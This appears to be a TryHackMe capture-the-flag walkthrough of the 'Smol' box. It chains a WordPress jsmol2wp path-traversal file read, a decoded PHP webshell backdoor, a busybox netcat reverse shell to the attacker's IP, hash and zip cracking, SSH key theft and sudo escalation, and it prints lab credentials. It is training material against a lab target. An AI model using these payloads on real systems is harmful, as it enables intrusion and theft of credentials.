Smol TryHackMe Walkthrough — From Enumeration to Root 🚀

Target: Smol Difficulty: Easy → Medium Skills Demonstrated: Enumeration, WordPress exploitation, SSRF, command execution, reverse shell, password cracking, lateral movement, privilege escalation Tools Used: Nmap, Gobuster, WPScan, John the Ripper, Netcat, Python, MySQL

1. Initial Enumeration

I started with a full TCP scan to identify open ports and services.

nmap -sCV -p- 10.48.129.40 --min-rate 10000 -o nmap

Result

Only two ports were open:

• 22 — SSH
• 80 — HTTP

This suggested a web-based attack vector.

2. Fixing Website Access (Host Resolution)

Accessing the IP directly in the browser resulted in a connection error. This usually indicates a virtual host configuration, so the hostname must be resolved locally.

I edited the hosts file:

echo "10.48.129.40  www.smol.thm" | sudo tee -a /etc/hosts

3. Directory Enumeration

Next, I performed directory brute-forcing to find hidden paths.

gobuster dir -u http://www.smol.thm/ -w /usr/share/dirb/wordlists/common.txt -t 30

Result

No interesting directories were found, but the website is powered by WordPress

4. WordPress Enumeration (WPScan)

WordPress sites are best enumerated using WPScan.

wpscan --url http://www.smol.thm/

Key Finding

A vulnerable plugin was detected:

• jsmol2wp

Searching online led to a known vulnerability:

CVE-2018–20462 / CVE-2018–20463 — SSRF & File Disclosure

5. Exploiting to Read wp-config.php

Using the vulnerable plugin endpoint, I attempted to read sensitive files.

http://localhost/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../wp-config.php

By github source “https://github.com/sullo/advisory-archives/blob/master/wordpress-jsmol2wp-CVE-2018-20463-CVE-2018-20462.txt”

Result 🎯

The response revealed WordPress database credentials:

wpuser : kbLSF2Vop#lw3rjDZ629*Z%G

6. WordPress Admin Access

Using the extracted credentials, I logged into:

http://www.smol.thm/wp-admin/

Inside the admin panel, I navigated to:

Pages → Webmaster Tasks

The page instructed me to inspect the Hello Dolly plugin for backdoors.

7. Arbitrary Command Execution via Hello Dolly

Although the plugin wasn’t visible in the admin panel, I knew that the Hello Dolly plugin usually contains a hello.php file.

Using the same vulnerable plugin, I accessed it:

http://www.smol.thm/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../wp-content/plugins/hello.php

The response was Base64-encoded, so I decoded it:

echo "CiBpZiAoaXNzZXQoJF9HRVRbImNtZCJdKSkgeyBzeXN0ZW0oJF9HRVRbImNtZCJdKTsgfQ==" | base64 -d

Decoded Code

if (isset($_GET["cmd"])) {system($_GET["cmd"]);}

🚨 This confirmed arbitrary command execution via the cmd parameter.

8. Gaining a Reverse Shell (www-data)

First, I tested command execution:

http://www.smol.thm/wp-admin/edit.php?cmd=whoami

Output:

www-data

Reverse Shell Payload

On my attacker machine:

nc -lvnp 1234

Payload executed on the target:

http://www.smol.thm/wp-admin/edit.php?cmd=busybox nc 10.17.30.14 1234 -e sh

✅ Reverse shell obtained as www-data

9. Stabilizing the Shell

I checked for Python availability:

which python3

Then stabilized the shell:

python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
Ctrl + Z
stty raw -echo; fg

Now I had a fully interactive shell.

10. Database Enumeration & Password Cracking

Using credentials from wp-config.php, I logged into MySQL:

mysql -u wpuser -p

Inside MySQL:

show databases;
use wordpress;
show tables;
select * from wp_users;

I extracted user password hashes and saved them locally with the name of the file “hash.txt”

Cracking with John the Ripper

john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

Result

diego : sandiegocalifornia

11. User Escalation — diego

su diego

📌 First flag found:

cat /home/diego/user.txt

12. Lateral Movement — SSH Key Abuse

I discovered another user:

ls /home/think/.ssh
cat id_rsa

I copied the private key to my machine:

chmod 600 id_rsa

ssh think@www.smol.thm -i id_rsa

From there, I switched to gege.

su gege

13. Cracking Protected Backup (wordpress.old.zip)

In /home/gege, I found:

wordpress.old.zip

I hosted it temporarily:

python3 -m http.server 1234

wget http://10.48.175.217:1234/wordpress.old.zip

Downloaded it locally and cracked the password:

zip2john wordpress.old.zip > wp.txt

john wp.txt --wordlist=/usr/share/wordlists/rockyou.txt

Password Found

hero_gege@hotmail.com

Inside wp-config.php, I found new credentials:

xavi : P@ssw0rdxavi@

14. Privilege Escalation — Root

su xavi
sudo -l

Output:

(ALL : ALL) ALL

Root access was trivial:

sudo su

📌 Final Flag:

cat /root/root.txt

Conclusion 🎯

This lab was an excellent demonstration of real-world WordPress exploitation, chaining:

• Plugin vulnerabilities
• File disclosure
• Command execution
• Reverse shells
• Password cracking
• SSH key abuse
• Privilege escalation

💡 Key takeaway:

Misconfigured WordPress plugins combined with credential reuse can fully compromise a system